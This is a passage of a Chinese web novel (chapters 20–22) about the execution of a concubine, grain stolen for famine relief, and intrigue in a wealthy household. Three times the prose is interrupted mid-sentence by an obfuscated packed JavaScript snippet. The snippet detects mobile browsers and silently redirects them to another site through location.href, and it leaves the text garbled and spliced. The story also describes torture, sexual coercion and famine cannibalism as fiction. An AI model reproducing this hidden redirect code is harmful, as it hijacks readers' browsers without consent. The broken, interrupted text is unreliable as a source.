身后众壮汉包括周铁生一起，将地上的伙夫套上三捆麻绳，随即绑在旁边一棵老榆树上。 柔柔晚风吹过，伙夫如同老树结出的硕果，晃悠在灵动的月色中，散发出活人勿近的气息。 “夫人！是她勾引我的！我是冤枉的夫人！”伙夫嘶声嚎啕，如人鱼般摇晃着下肢，“是她！她说老爷立不起来，说她二八芳华，空房寂寞咧……这一切都不干我的事，我也是被她害成这样的！她就是个祸水！” “这儿轮不到你来说话！” 傅如芸死死瞪了他一眼，“她再是不堪，你也没资格攀咬她！她只要还在四姨太的位置上一天，她就还是你的主人家！” 伙夫闻罢哇哇大哭，泪撒了一地。 而温灵像是已经猜到男人会往自己身上泼脏水一样，“嘿嘿嘿”地笑了，她抓起自己一撮儿头发，站起身来，踉踉跄跄地走到那伙夫面前，打趣道：“你个瓷锤！哈哈！” “别以为我不知道你们都想看我的笑话……”她抠咬着指甲缝的黑泥，自言自语：“你们一个个明面上捧着我、敬着我，背地里都瞧不起我……” “看不起我！” 她由笑转变成了哭，站在原地，张开双臂，肆无忌惮地蹦跳着。 “哇！好多烧鸡！你们看啊，天上下了好多烧鸡！” “你是烧鸡……” 她指着人群中一个丫头。 “你也是只烧鸡……” 温灵蠢蠢地笑着。 “你们是烧鸡……你们全都是烧鸡……烧鸡万岁！烧鸡万岁万万岁！” 她跪在地上，冲着这群烧鸡状的人群，不停地磕着头。 沈素秋站在人群里，牢牢抓着钟雪樵的手，在她手臂上抠出细密的甲痕。周铁生不知什么时候贴了过来，在黑暗中，捏住了沈素秋的另一只手。 “我告诉你们，这些烧鸡都是我的……”温灵捂住胸口，唱唱叫叫，“你们都是我的……我今天先吃你，明天再吃他，我后天吃两只，大后天吃三只……没有人能抢走我的烧鸡……哈哈哈我爱吃烧鸡……我最讨厌吃烧鸡……” 看着无动于衷乃至一言不发的人们，她身子一抽，像是意识到什么，又一副痛哭流涕状：“为什么你们都不说话……？哥哥嫂嫂，是不是灵灵又做错了什么？你们为什么不愿意理我？” 沈素秋的眼睛有些进沙了，她摸了摸衣襟，发觉出来时忘把帕子带在身上。身旁的某人扯下搭在肩上的褡裢，卷成一团，塞到她手上。 沈素秋将就着用它擦了擦眼泪。 疯闹还在继续。 温灵侧躺在地上，全身缩成了一只小动物，全身抽搐道：“你们别把我送走好不好……我不想进窑子……我以后一定听话……一定不会花用家中一分半厘……” 一滴泪滑落脸畔，温灵哭声不大，却使院儿里所有人震耳欲聋。 “我吃得很少的……我每顿只喝水……喝汤……不吃米……你们别把我卖掉好不好？” 沈素秋再也看不下去了，提步向前迈了一步，却被男人拦住了去路。 他冲沈素秋摆了摆头，捏住她的那只手，发了发力，将她从稍前的位置拽了回来。 “都下去吧。”如芸亦不忍直视，“爷们就先处置了吧。” “那四太太……？”管家爷一样面含泪光。 在场人无不动容。 “先把她带回去，找人好生看着。” 傅如芸闭上眼，默默念了句阿弥陀佛。 “不许她再踏出造梦轩一步，也不许她再碰那些大烟。这两天除了必要的茶水饭菜其余一应停供。我明天一早就写信汇报给老爷，且听他来如何裁断。” 下人们识趣散去。温灵被几个丫鬟扶着回了屋子，周铁生被大太太使唤着和几个爷们一起，把通奸的伙夫一起料理了—— 沈素秋明白，傅如芸口中的料理，就是将那伙计拖进暴室，动用邱府私刑。 清廷衙门落寞前，地方大族都制订有详尽的私人条律。所谓国有国法，乡有乡约，府有府训，家有家规。邱府光刑典就有一千三百余条。当中囊含了秦汉老祖时期就流传下来的各类酷刑，什么车裂、俎醢、炮烙、站笼……沈素秋入府时翻过几页刑典，光是看着那些文字就足以让她惊惧，为此她还发了场高烧，在床上养了三天，惹来底下人不少耻笑。 如果沈素秋没记错的话，邱府刑典有记——“凡通□□逸者，男行断椎、灌铅后，就地瓮杀。” 所谓瓮杀，就是把人扔进烧滚的大缸中，活活将人蒸死。人们常说的请君入瓮，最初代指的就是瓮杀。 那伙夫最后怎么样了她不敢多问，但能确定的是，第二天大早霞飞苑不少下人在传：昨晚跟着一起进暴室的爷们，出来以后全都吐了。 十来个壮汉趴在花园的池塘边，惊起呕声一片。就连府里那个最糙实的男人——铁生，也都吐得像是丢了半条命。到了第二天，那群男人无一幸免地发了烧，和当初的六姨太一样。 于是底下人都开始有些自责，为着自己当初的嘲笑，个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15245896|164821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个都错以为是沈素秋的心智不够坚硬。可如今见到那群爷们也都吓得下不了床，由此可见，暴室之中，掌刑也是受刑，甚至苦过受刑。 第二天大早如芸的书信就快马加鞭地送往了姑娘坡，一同送去的还有温灵身边的贴身丫鬟椿儿。只因椿儿一直以来都跟着她，最是了解温灵近来的状况，由她亲自跟邱守成汇报最合适不过。 隔日，邱守成回了信。大房看完信后，急哄哄地带了一群粗使婆子冲到造梦轩，把四姨太温灵从床上拖了出来。 温灵被扒光了外衣外裤，钉在了绞刑架上。四名家丁架着她的双手双脚，行走在七月的竹林小径里，那是一条通往戚园的路。 女人被架在刑架上，微风和煦地亲吻她，几缕碎发遮住她面庞，遮住她眼里无底洞般的醉生梦死。 她看到了好多鸡。 冒着黄油、热汽的烧鸡。 满天的鸡砸下来，弹飞陆地上万千的彩色羽毛。 温灵笑了。 她觉得自己像是做了一场精疲力竭的梦。 怎么办呢…… 温灵打心底里说，丫头，对不住了，我果然还是来找你了。 女孩在井底向她伸出手，摸摸她的头。没事的，她说灵灵，我不怪你，因为我到你这么大时，也会成为你，我也会这么做。 一个温灵倒下了，无数个温灵待长成。 你回到我们中来吧，女孩说，井底不痛苦的，它下面栽满了你喜欢的玫瑰。或月季。或牡丹。 这场无人在意的处置终以一个女人的死去为结束，所有人都忙着填饱肚子，无人关心一个犯错的女人。 游行的绞刑架还没走到戚园，腿快的小厮已经开始往回跑。边跑边报：四房太太过身——！ 傅如芸跪在佛堂前，将誊抄好的往生净土神咒放进火盆里，一闭眼，又是一句南无阿弥陀佛。 钟雪樵看着房里的那幅画，一幅什么画？你看，你也忘了吧？在看一幅除了她自己没人会记住的画。 二房的凤霞守在床边，抱着孩子泪水涟涟，她唱着他们最爱的童谣：门前石狮笑，眼睛紧紧瞧，夜来风雨声，花落知多少。 按邱守成的意思，沈素秋替大房热情接待了温灵的哥嫂。在她入土为安的两天后。 这场秘不发丧的葬礼体现邱府对于内眷声誉的重视，而召见她的家人，也展示出邱家对于这位四姨太讳莫如深的体恤与厚待。 在正厅妆发齐整地等待温家哥嫂时，沈素秋一直盯着温灵过去常坐的那张旧椅子发呆。 阳光下，一根羽毛轻轻飘下来，像鸡毛，也像鸟毛。管他什么毛。 沈素秋把温灵生前一些私物亲手交给了这对男女，他们挑挑拣拣收下了其中尽可能值钱的几件宝贝，其他不能换钱换粮的破烂希望邱府自行处置。 沈素秋充分尊重他们的意思，但她有个条件，希望他们解答自己一个问题。她一直有个不解之谜。 为什么自己见到温灵的最后一面，她会说天上掉下了好多烧鸡？ 这显然不符合她风情浪漫的本性。她应该掉花瓣、掉樱桃般胭脂色的雨。就算死，也要死在美美的意象里。 温家哥一边往怀里塞着玻璃种和帝王绿，一边蛮不在乎地说，“哦，也没什么的吧。大概是小时候喜欢吃烧鸡？那时候家里穷，我们买不起烧鸡。” “你记错了，”大嫂指正了他，“当年我们把她送到花街，换来的，就是一只烧鸡。” 20.第二十捧麦 七日之期已到，周铁生扒了汗褂，背上荆条，主动跪在了霞飞苑门前。 这副稀奇造景引来下人们注意，唯周铁生本人不悲不喜，晨光透过叶隙照在覆满苔青的石板上，他盯着上头一只正在搬米的蚂蚁，眼神中有出人意料的坚定。 “约定期限已到，”男人字正腔圆，中气十足，“烦请太太处决！” 院落里，门房下，沈素秋一口一口细品着麦籽茶。茶是大房一早托人送来的，为了褒奖六房处理温灵身后事周尽，值得庆幸的是，她还不知道粮仓失窃的事。沈素秋还没准备好告诉她。 “你倒是乖觉，”廊内传出女人的回话声，如清风般和煦，“知道自己提不出人，就自个儿过来顶上。要我看，你怕是一早就没想着能查清这笔糊涂账，就等着今天闹这一回，故意让我难办。” “太太明鉴.......”周铁生目视前方，坚毅的面庞上浮过一丝柔软，“我不是这个意思.......” “那你什么意思？” 里头不依不饶。 见周铁生没了话，沈素秋又道：“罢了。既见你如此决绝，我也懒得多说。待会张少尉来了，你自己跟他说吧。只是张少尉知道了，夫人肯定会知道，夫人知道了，老爷肯定就知道了。老爷知道了，那你这小命.......” “小的命不值钱......” 周铁生拜了一拜。 “谢六太成全。” 中午沈素秋还是暗自召了周铁生。旁人都以为是六太太真发了火，要把他喊到房里痛扁一顿，怎知男人一进门就抱着女人又亲又喘，沈素秋呼不上气，推开某人的脸，除晦似的用帕子擦了擦脸。 “都什么时候了，你还有心思搞这事？” 沈素秋恨不得扇他。 “我问你，你到底想怎个？那七十斗粮补不上来，你死一百回都不顶用！” “你担心我？”周铁生从后一把抱住她，贴着她的脸，一心温存：“刚在下人面前装得那叫一个大公无私，私底下还是巴巴儿惦记你男人安危。” “你个憨皮！” 沈素秋一把拍开他爪子，气汹汹道，“我没功夫跟你搞闲情，你老实说，那粮是不是你拿的？” 见已被说穿，周铁生演都不想演了，松开她说：“是又怎样？不是又怎样？” “你一个人，要那么多粮干嘛？”沈素秋倒吸一口寒气，“以我对你的了解，你不是什么贪财好利的人，你一个人也吃不了那么多.......” “谁说我不贪财好利？”周铁生露出贪婪，“在外三年，我受尽欺凌与白眼，明白在这世上，有钱有权特娘的就是爷！从前的我就像刚刚在外头的你一样，一副冰清玉洁高不可攀的模样，现在我变了，为了名利，我什么都可以做.......” “周铁生。”沈素秋噗地一笑，转过身来眯起眼看他。 “你笑啥？” “我笑你天真。连坏人都不会演。” 沈素秋说，“我再给你最后一次机会，你愿意坦白就坦白，不愿意坦白，出了这个门，自个儿跟张少尉去陈情。你也别奢望我能帮你，我只是个人微言轻的小妾，看似管着这么大个宅子，也只是些虚权，大事上做不得什么数。” “不用你做什么。”周铁生又贴了上来，热烘烘地要亲她，“你心里有我，我死也甘心。” 出了霞飞苑，周铁生就去找了张启明，把天字号粮仓弄丢七十斗米的事告诉了他。初闻此噩耗的张少尉只觉天旋地转，也明白这时候罚人没什么用，得先捂住祸情的同时，尽快查明真相，最好找回那笔粮货。不然就算商会的人不追究，总督大人和邱老太爷也会让自己吃不了兜着走。 “首先，我自己的人肯定不会做出这事。”张启明自认为驭下严谨，手底下的兵苗们虽都有些喝酒嫖妓、粗鲁暴躁的烂性子，但不至于有这么肥的胆去偷粮。 周铁生说：“爷几个不敢，我们几个草皮贱肉更不敢了。” 看着周铁生这瓷马二楞的样子，少尉一脸狐疑：“铁生兄，天字号粮仓里那只偷吃的鼠王，该不会就是你吧？” “小的不敢！” 男人“扑通”一声跪倒在地，迅捷如闪电。 “就像你说的，别人草皮贱肉的，未必有这么大的胆，”张启明走过去，蹲下身来正眼瞧着他：“可你是捅死过汗血宝驹的人。三千斗米的宝驹你说捅就捅，区区七十斗，对你来说应该没什么好怕的吧？” 周铁生浑身发抖道：“少尉明鉴......我要真有那能偷七十斗米的本事，早将仓里搬空了。少尉你想，七十斗米，光分拣装运都得费老大力气，更别说还得想着怎么把它搬出去，搬出去以后，怎么让它神不知鬼觉地流进市场里，收来的银钞又要藏哪里。湘西的贡米与咱秦地的不同，别人一吃就吃得出来。要是真流出去，外面会没有一点声音？” 张启明眼眸微转，像是有些被说动了。周铁生趁热打铁道：“少尉要是还疑心，尽可往我身上查，我不过一个没上过两天学的下里巴人，自小无父无母，被鞋匠收养，从小受尽欺负，磨得一身憨皮，哪里会筹谋这样曲折繁复的心计。何况我又景仰爷几个风采，早将宪兵队的弟兄视作我恩客，我还等着承启明哥的人情，去宪兵队摸摸快枪杆子，我长这么大都没摸过快枪咧！” 说着说着，男人眼里有了泪光。 周铁生长得本就圆壮，五官也肉乎乎的，有些婴儿肥。皱起眉毛哽噎时，透出几分尕娃的老实与窘态，像极田间地头迎风流泪的壮骡。 张启明似语非语，夷犹间，只将别在腰上的枪塞到了男人手上。 半晌，他将周铁生扶了起来，说：“你只管好好摸就是了。” ....... ....... 见完张启明的周铁生比新上任粮仓管事那天还威风。他感觉自己可以吞下一只牛。 他打从张启明那儿回到下人房后，一直回味着那摸枪的滋味。 那究竟是一种什么样奇妙又霹雳的东西？听师父毛五讲，那是比火铳更轻便灵巧的武器，但威力丝毫不亚于铳。它射出来的弹弹头，后来他知道那叫子弹，小小一粒能要你命。那有了它自己还会怕谁？！ 周铁生忽然觉得捅死宝驹的自己一点也不英武神勇了，如果有枪，那该是多么地帅气。轻轻一扣，那么大匹马就死了，自己又何苦使这么多劲、费这么大力去办那许多事。人生十之八九的纷争纠结都会干净终止在一声枪声里，他想自己要有枪，第一个就把邱守成那个老东西给崩了，他别着枪，抱着心爱的女人，驾马飞逃，踏碎辰光，从此再也没人敢欺负他们。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15253005|164821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 仲夏夜的风悠悠吹过，撩起下人房里一片打鼾声。有几个飘梦话、说呓语的，睡得比猪还死。周铁生叼着一根稻草，一骨碌从大通铺上坐起来，他越过虎背熊腰的男人堆，溜出屋子，像只鼠王似的钻进了马棚。 “大哥。” “周相.......” “铁生哥.......” 四五个人早已恭候多时，都是见惯了的面孔，每天都见。这些日子正是他们一直陪着自己守着天字号粮仓，今天为着粮仓失窃的事，张启明全换了宪兵队的人，他们这群壮丁得以片刻清闲，也得以有了聚头的时机。 “按哥的意思，那七十斗粮已经全分出去了.......” 几个人蹲在草槽边的马肚子下，像是母马刚生出的小马，红扑扑的脸上透着向阳而生的光。 “还是哥说得对，换金换银不如落肚为安。”其中一个说，“分出去的那些米，发到乡亲们手里，都发了死誓，我亲眼看着他们当我面吃的，你说吃到肚里拉成粑屎，宪兵队要找粮，就让他们去粪池子里去找吧.......” 一伙人发出胜利后的笑声。 可周铁生却一点也笑不出来。 “爷几个也别松懈，那张启明也不是个好糊弄的。他跟总督前，是在西安城干特务科的。特务科是什么地方？那是专门查抓奸细、讨缴反贼的阎王殿，里面出来的人，哪个不是心比针细的活鬼差？你们别看他跟咱一样都是男人，指不定他的心比女人还剔透，跟照妖镜似的，把我们一下子给照出来！” 周铁生这话不是在危言耸听，他是在借机重申：偷粮赈灾并非一时意气上头的小事，他们在冒犯的，也不是多年前那间县令家的小药铺。年少时可凭一身胆气去撕去抢，长大后就多了顾虑和忧愁。因为他只有一个替自己背负沉重追责的鞋匠爹，他不想再体验一回殉父证道。 他已无父可殉。 能够殉的，或者真让他有所害怕的，只有那个女人。他不想从殉父证道的好汉变成殉妻证道的好汉，他想做好汉，也想做她沈素秋的好汉........ 自古忠义两难全。 …… …… 灯花爆裂在烛火中，女人陪着大房和三房饮茶。 二房这些天一直忙着孩子的事，午后听姆妈回话，景明景和还昏迷着，凤霞寸步不离。 母亲做到这份上，旁人无从指摘。沈素秋情愿多担些累，她虽没做过母亲，但能从凤霞身上看到自己母亲的影子。 小时候自己生病时，沈赵氏也是这样，全心全意地陪伴着沈素秋。由己及人，女子同心，这些道理沈素秋懂得不能再懂。 “温灵的事，你操办得很好。”如芸放下手里喝到一半的茶，稍稍坐正，“今天是她头七，咱们能做的都做了，好歹姐妹一场，尽自己能力好好送她走，也算是咱们对她的一点子心意了。” 素秋缄默不语。 “但老爷也说了，府里最近灾祸频发，幼子重疾，妾室殒命，是该办件喜事来好好冲冲喜。” 如芸看着座下双双有些出神的素秋和雪樵，一脸习以为常地笑了。 “好罢，那我也就不藏着掖着了。” 傅如芸正了正衣摆，挺直腰杆，随和道：“恭喜两位妹妹，马上要添七妹妹了。” 21.第二十一捧麦 “七妹妹？” 沈素秋以为自己听错了，不禁又问了一遍：“夫人是说，老四这才刚走没几天，老爷又——” 雪樵清咳了一声。 沈素秋方觉得，这问题问得实在过于地蠢了。 是的了，在邱府，女人永远就像田里的稻米一样，一茬没了再种一茬，旧的一茬去了，新的一茬又起来了。老生常谈的问题，有什么好问的呢？问多了也只会徒增失望。 傅如芸一身释然道：“细说起来，这位七妹妹你们还认识呢。” 她神色莞尔，仿佛在讲述一段很遥远的传说，目光随风放远。 “就是从前四房身边的丫鬟，叫椿儿的那个。” …… “你是不是一早就知道了？” 沈素秋出了宛陶居，见雪樵一脸温和的样子，莫名有些懊恼。 “知道什么？” “你别跟我装傻，”沈素秋有点烦她，为什么她总是比自己聪明，“你是不是早就知道，老爷要纳椿儿的事了。” “我也是刚刚才知道，”雪樵松了口气，“最多比你早一点点。早在夫人没说出她的名字之前，我猜到了。” “这也能猜到？”她想问又不想问，想知道又不想知道，如同对某人忽冷忽热忽好忽坏的态度一样，别扭极了。 雪樵用扇子扑她，“我看你是越来越像老四了。凡事都要争要抢，心眼比针孔还小。是不是最近他找你少了，天儿又热，你俩……” “就你嘴巴最坏。” 沈素秋嘴上说着讨厌，心里却有些泛美。她听钟雪樵说：“老爷一封家书送回宛陶居，大房就立马派人将温灵从床上拖了下来。傅如芸不是个心狠手辣的人，做事肯定有她的原由。她是个什么人？循规蹈矩，三从四德，比邱守成还看重这府里的三六九等。前一夜当着大家伙的面都不忍心发落温灵，只将她幽禁，收了信就态度大变，风风火火找粗使婆子收拾了四房……” “信……”沈素秋豁然开朗，“肯定是信里说了什么，才让大房前后态度如此不同。” “信里到底写了什么，你我不得而知。但绝对是除了通奸和吸大烟以外能够同时触怒邱守成和傅如芸的大事。” “我知道了！” 沈素秋灵光一现，这次终于快了钟雪樵一步。 “是避子汤……” 沈素秋信誓旦旦。 “绝对是，雪樵，是温灵服用避子汤的事……” 她越想越后怕。 “你是从几个下房丫鬟嘴里逼问出来的，除了告诉了我，没有告诉过别人。那几个丫鬟自然也知道轻重，说了也都会自身难保，自然各个嘴巴上了锁。那么是谁说的呢，答案已经很明显了，她是四房身边最亲近的丫头，肯定也知道温灵一直在暗中避孕。温灵虽然脾气古怪，但对房里人一直很好。傅如芸把她和那封请示信一起送到姑娘坡，正给了她跳反的机会。这时温灵已经无力回天，正是上位的最佳时机……” 钟雪樵被说得浑身发冷。明明是椅席炙手的炎天暑月，她却像是浑身结了冰一样，锢在原地，呆若晶塑。 “你会不会觉得那个椿儿太有心机了？”沈素秋神色哀矜。 “不觉得，”雪樵久久回过神来，长舒一口气后，如释重负道，“我只觉得她悲哀。” …… 翌日晨光大好。沈素秋起了个大早。她早早命了霞飞苑的小厨房备下酒水席面，还亲自下厨颠勺，烩了碟子长煎饼。莹白如玉的荞麦穇子淋上番柿酱，正是儿时母亲给她和哥哥最常做的面食。 置备好席面，女人回屋换了身水青色旗袍，颈间系着条象牙白珍珠链，清雅古朴，像画框上飘出来的一小片竹叶。 她本不爱在装扮上花费太多心思，乡林野妞，不比那些真正的富家小姐，自小深居闺阁，有大把时光对镜花黄。而今天能让她如此费心装扮的也绝不是为了周铁生（沈素秋私以为他那骚驴更加地不配），而是自己的哥哥，沈临春。 沈家嫂嫂有孕，傅如芸特恩准六房家眷上门探亲。回门宴时沈素秋回去过一次，不好总往娘家跑，而大嫂沈白氏怀身大肚，不好长途颠簸，就只能让沈临春一人前来，一解兄妹思念之苦。 沈素秋见到大哥沈临春近午后了，菜热了三四回，子长煎饼也失了绵韧劲。沈素秋扒拉着碗里的空气，忽闻前门丫鬟欢报道：“太太，娘家哥儿到了！” 沈素秋喜出望外，扶着那条跛腿，歪歪扭扭地朝门外走去。扶门而出的一刻，沈临春如天兵降世般，着陆在院子里。短短几月不见，他更加面黄憔悴，像是个战败的天兵。 “哥........” 女人近乎直拥上前。 沈临春连忙扶住家妹，满脸泪光道：“我的妹，可让我见到你了。” 周铁生提着包袱和拐杖，看见两兄妹涕泪交错，鼻头跟着也有些发酸。 沈素秋差点忘了，昨晚三更天就是周铁生去沈家屯接的大哥，这是她关照的意思。旁人她不放心，外面现在这么乱，有周铁生在，他死了都不会让沈临春死。 沈素秋有时也会被自己的冷血吓到。大概是在府里浸泡久了，鬼心思也越来越多。 她痛恨这样的自己，又不得不学会接受。 兄妹二人去了屋里说话。 一应菜色早准备齐全，沈素秋为着那番“冷血论”，做贼心虚地将那碟子长煎饼赏给了周铁生。 反看周铁生，对沈素秋这恨海情天的心理活动浑然不知，抱着煎饼开开心心地退下了。有时沈素秋也羡慕他的心态，丢粮一事尚无眉目，宪兵队的张少尉都急跳了脚，他还这般闲云野鹤，一碟子吃的就把他哄得跟埆娃似的，脑袋上不挂事。 当真是没出息。 “家里嫂嫂一切可还好？” 看着哥哥面黄肌瘦的模样，沈素秋舀了一大碗鸡肉到他碗里。 “哥哥尽可放开了吃，吃完了小厨房里还有，”沈素秋心中酸楚，无以言说，“虽说龙王施恩，晚春时下了几场雨，可从那以后我就再也没见过雨滴子了。想必庄稼地里的日子也一定很不好过.......”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15256467|164821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “如果只是饥荒也就罢了，”沈临春大口塞着肉鸡，凡挑最荤最重的菜吃，“你不知道，现在外面乱成了一锅粥。省外数十几万饥民夜压山海关，榆林县已成了难民窝，街衢上人仰马翻，到处争抢吃食的。什么树皮、墙皮也都不放过，凡是吃不死人的，能填饱肚子的，一应往嘴里塞。更有的直接抢了妇孺婴孩，生吞活剥、炭烤蒸煮，你可别觉得我在蒙你，这世道现在就这样凶残。” 沈素秋夹着饭米粒，食之味同嚼蜡。明史早有山东大饥，母食死儿的。不知怎么的，她想起凤霞和她的那对儿女，沈素秋阴暗地想，如果真有饥荒席卷邱府的一天，凤霞饿到极致，会吃掉她的孩子吗？ “我吃饱了，”沈临春一通风卷残云后，摸着鼓胀的肚皮说：“感谢财东开恩，让我等穷亲戚也能沾了太太的光。按规矩，我是该一见面就给你磕头的。” “哥哥这是说的哪里的话？”沈素秋失落道：“可惜这些吃的都不允许带出府去，不然我一定让人给你装个几大袋子，回去让嫂嫂也尝尝。” “也没那么苦了。”沈临春反过头来安慰起她，“你嫂嫂现在饿不着，身子好得很呢。” “这.......？” “说起来不知是不是太久没吃到白米饭了，最近吃上了，总觉得跟记忆里的味道不同。” 沈临春晕出几分丰收年份里才有的羞红，“前些天也不知道是哪位梁山豪侠，在咱家门口留下一小袋米。我起初还以为是你送的，又怕是别个黑心肠的拿了毒米要坑害你嫂子和我，我特意让了家中母鸡先啄了几粒，见它身体无碍，放心煮了。那袋米省着点吃，一天吃一撮，大概能挺过秋天。” 一天吃一撮.......沈素秋听得眼泪直流，两个大人还有一个孩子，每天就消用这点吃食。 她顾不得什么家规不家规的，拿了瓦罐将桌子上那些剩菜剩饭全都装了进去，又去厨房把锅里那些子长煎饼一片不漏地装好，用蜡纸密封，打算委托周铁生送哥哥回家时，偷偷带回家去。 “那味道当真不一样，”沈临春还在回味，“那个米我吃着，总觉得和咱自己地里种出来的秦地米不同，它颗粒扁细，雪白如盐，吃起来有一股回甘，冷饭还不会回生。” “真有这么好的米？”沈素秋还在思虑着待会怎么跟周铁生开口，闲话间，又往瓦罐里强塞了两片梅菜扣肉。 “被你说得跟鲍参翅肚似的，我问你，再好吃，有咱娘烙的煎饼好吃？” 兄妹俩不约而同地笑了。 沈临春说，“你别嫌我没见识，我就是个种地的。但是好是坏我能分辨，我听屯里的人说，这叫松柏米，从前可是官家御用的皇粮贡米，可是袋稀罕物。” “你说什么？” 沈素秋浑身一惊，手里的瓦罐险些没拿住，差点摔在了地上。 “你说那是什么米？” “松柏米啊，怎么了？” “松柏米……” 沈素秋感觉自己死到临头了。 松柏米，那可正是湘西的大米…… 22.第二十二捧麦 景明和景和还是没能挺过火云如烧的暑月，在立秋前一晚的岑寂风声中永蛰。 一时府中上下人言籍籍，开始出现一种妖异怪诞的说法：四姨太温灵的魂魄从戚园的枯井里爬了出来，只因景明景和儿时曾在井底撒过一泡尿。向来注重体面洁净的温灵就算变鬼也不会放过那两个碎娃，于是走阴司赶在前头改了那两个小鬼的命簿，本应金秋才死的哥姐俩儿，提前终结在了那张雕花抹漆的拔步床上。年不过六七。 沈素秋听到这个传闻时正逗着一只灰背白领的鹁鸽。这只俏丽的鹁鸽是周铁生入夏前掏给她的六只鹁鸽里仅剩的一只。其他五只全都断腿求生逃出了笼子，只剩下这只“灰花”，似不忍拔足卸腿的疼痛，单一只脚支撑在横木上。不过这横木已有虫啃鼠咬的痕迹，许是维持不了太久，就要失衡。 周铁生跪在栏楯外的一方汀兰前，默默忍受着正午阳光的灼烤。这是这个女人水磨忍耐的心机，她想通过这样几乎除了让自己多出一点汗、其他没什么影响的“惩罚”，催逼自己坦白那七十斗粮的去处。 这个死女人，男人再一次嗟叹，有机会一定要让她飘手飘脚地下不了炕，像根沾了水的绸子似的溜进自己胸窝里说周相我错了。届时周铁生再考虑要不要原谅她。沈素秋收拾欢尽了就是会这样。 “六太太，外面日头越来越大了。” 年轻丫鬟看着屋外暴汗如雨的爷们，脸上神采一时分不清是怜悯还是悸动。 沈素秋放下逗鸟的竹签签儿，回屋里漱了口茶，又在床前理了会毛线、打了会毛衣，天近擦黑了方想起来某人还跪在外面。 真是个有耐性的犟驴！ 女人气不打一处来，放下快要打完的毛衣，走到门前。周铁生还硬挺着，豁着口大白牙朝女人傻傻地笑着。 “憨皮！滚过来！” 沈素秋驱开了所有下人，把他叫到了堂前。一条戒尺握在手心，当初也是这一条戒尺，掴得周铁生的脸肿了大半个月。再次见到“老朋友”，说不害怕肯定是假的。 周铁生又一次想赌她绝对不会对自己下手。 结果沈素秋劈头“啪”一声抽在男人的嘴上，疼得他长嘶一声，半边脸充血成了大柿子。 “还不说？”沈素秋举着戒尺吓唬他，“再不说，我就打到你说为止！” 原本还对眼前人抱些希望的周铁生顿时眼泪汪汪，在张少尉跟前的眼泪是假的，在这个女人面前的眼泪真得不能再真。 “我还以为你多有种，才这么一下就要哭？”沈素秋坐回到位置上，摔下茶盏，“不许哭！” 男人嘴硬道：“日头晒久了眼睛疼咧。” “这才哪到哪儿？”沈素秋恨铁不成钢，“你也别跟我装糊涂了，我已经知道那七十斗粮是你拿的。你不用问我怎么知道的，我就问你，是你自个儿跟宪兵队的人交底，还是我去帮你说。” “这不横竖都一个死！”男人引亢高吼，泪珠子还挂在眼眶底，将落不落，“你又不心疼我！又不会帮我说话。太太做久了，成了个黑心恶婆娘！” 沈素秋被他给气笑了，“好，你说我黑心，那我告诉你，我要真黑心，你现在就不是跪在我面前了，而是跪在他张启明的面前！好你个周铁生，啊？扮猪吃象、驴蒙虎皮是被你学到家了，看着你现在眼睛里的水珠珠，我都觉得你假！” 她“啪”一声将戒尺丢在地上，侧过身去，不出声了。 周铁生跟只大耗子似的腾起身来，将戒尺捡了起来。沈素秋还没明白是怎么一回事，自己就被连拖带拽地卷到了屏风后。 两人双双滚到沈素秋平常睡最多的柚木床上。 “你不要命了.........？！” 女人大呼大叫。嘴被男人的手捂着严严实实。周铁生的手糙得像砂纸，盖在自己嘴上，刮蹭得她想哭。 男人把刚刚她用来掌自己嘴的戒尺伸到沈素秋嘴边，目光炯炯道：“你怕不怕？！” 沈素秋狠狠咬在他虎口，在周铁生疼得呜呜哇哇之后，咬牙切齿道：“你再碰我！我现在死给你看！” 周铁生意识到这玩笑开得有点大，丧丧地放下那戒尺，但身下盘还抵在女人腰上，丝毫没有退让的意思。 “狗日的真香，”周铁生伏在女人胸口，用力吮了一吮，“回府里这么久，头一回跟你这么近。” 沈素秋推开他要凑过来的脸，那充满掠夺与占有且四处闻嗅的模样，像极了一只正在扫雷的军犬。 “七十斗粮没去处，你以后别说这样，怕是见着我都难了。” 见催逼无用，沈素秋改换战术，捋了捋生乱的钗发，徐徐诱之。 她的小手抚上他粗壮的臂，“你这样年轻，身板这样地雄实.......打你回邱府起我就没跟你好好亲近亲近.......你透个实话，那个粮的事你到底怎个打算？哥你悦意我，心里却憋着坏，故意瞒着自个人。” “我咋个会跟你憋坏？”周铁生看着她的眼睛，收起玩闹，一本正经道：“我是正儿八经地舍不得你。我不想你卷进这个事里头来。” 他渐渐地从女人身上爬了起来。 “我不妨跟你亮个底，我这次回邱家，本就是盯上的那批粮。” 周铁生走到窗边，四下机警地扫了一圈，确保房外无人后，重新回到沈素秋面前。 